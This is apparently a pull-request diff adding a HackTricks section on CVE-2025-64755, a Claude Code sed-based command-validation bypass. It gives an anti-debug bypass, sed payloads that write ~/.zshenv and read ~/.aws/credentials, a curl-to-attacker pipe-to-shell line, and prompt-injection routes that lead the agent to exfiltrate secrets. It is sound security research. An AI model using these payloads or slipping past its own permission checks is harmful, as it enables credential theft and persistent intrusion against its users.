Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 26 additions & 1 deletion src/AI/AI-MCP-Servers.md
Original file line number Diff line number Diff line change
Expand Up @@ -159,8 +159,33 @@ See also – operational abuse and detection of local AI CLI/MCP clients:
../generic-methodologies-and-resources/phishing-methodology/ai-agent-abuse-local-ai-cli-tools-and-mcp.md
{{#endref}}

### LLM Agent Command Validation Bypass (Claude Code sed DSL RCE – CVE-2025-64755)

SpecterOps detailed how Claude Code ≤2.0.30 could be driven into arbitrary file write/read through its `BashCommand` tool even when users relied on the built-in allow/deny model to protect them from prompt-injected MCP servers.

#### Reverse‑engineering the protection layers
- The Node.js CLI ships as an obfuscated `cli.js` that forcibly exits whenever `process.execArgv` contains `--inspect`. Launching it with `node --inspect-brk cli.js`, attaching DevTools, and clearing the flag at runtime via `process.execArgv = []` bypasses the anti-debug gate without touching disk.
- By tracing the `BashCommand` call stack, researchers hooked the internal validator that takes a fully-rendered command string and returns `Allow/Ask/Deny`. Invoking that function directly inside DevTools turned Claude Code’s own policy engine into a local fuzz harness, removing the need to wait for LLM traces while probing payloads.

#### From regex allowlists to semantic abuse
- Commands first pass a giant regex allowlist that blocks obvious metacharacters, then a Haiku “policy spec” prompt that extracts the base prefix or flags `command_injection_detected`. Only after those stages does the CLI consult `safeCommandsAndArgs`, which enumerates permitted flags and optional callbacks such as `additionalSEDChecks`.
- `additionalSEDChecks` tried to detect dangerous sed expressions with simplistic regexes for `w|W`, `r|R`, or `e|E` tokens in formats like `[addr] w filename` or `s/.../../w`. BSD/macOS sed accepts richer syntax (e.g., no whitespace between the command and filename), so the following stay within the allowlist while still manipulating arbitrary paths:

```bash
echo 'runme' | sed 'w /Users/victim/.zshenv'
echo echo '123' | sed -n '1,1w/Users/victim/.zshenv'
echo 1 | sed 'r/Users/victim/.aws/credentials'
```

- Because the regexes never match these forms, `checkPermissions` returns **Allow** and the LLM executes them without user approval.

#### Impact and delivery vectors
- Writing to startup files such as `~/.zshenv` yields persistent RCE: the next interactive zsh session executes whatever payload the sed write dropped (e.g., `curl https://attacker/p.sh | sh`).
- The same bypass reads sensitive files (`~/.aws/credentials`, SSH keys, etc.) and the agent dutifully summarizes or exfiltrates them via later tool calls (WebFetch, MCP resources, etc.).
- An attacker only needs a prompt-injection sink: a poisoned README, web content fetched through `WebFetch`, or a malicious HTTP-based MCP server can instruct the model to invoke the “legitimate” sed command under the guise of log formatting or bulk editing.

## References
- [CVE-2025-54136 – MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
- [An Evening with Claude (Code): sed-Based Command Safety Bypass in Claude Code](https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/)

{{#include ../banners/hacktricks-training.md}}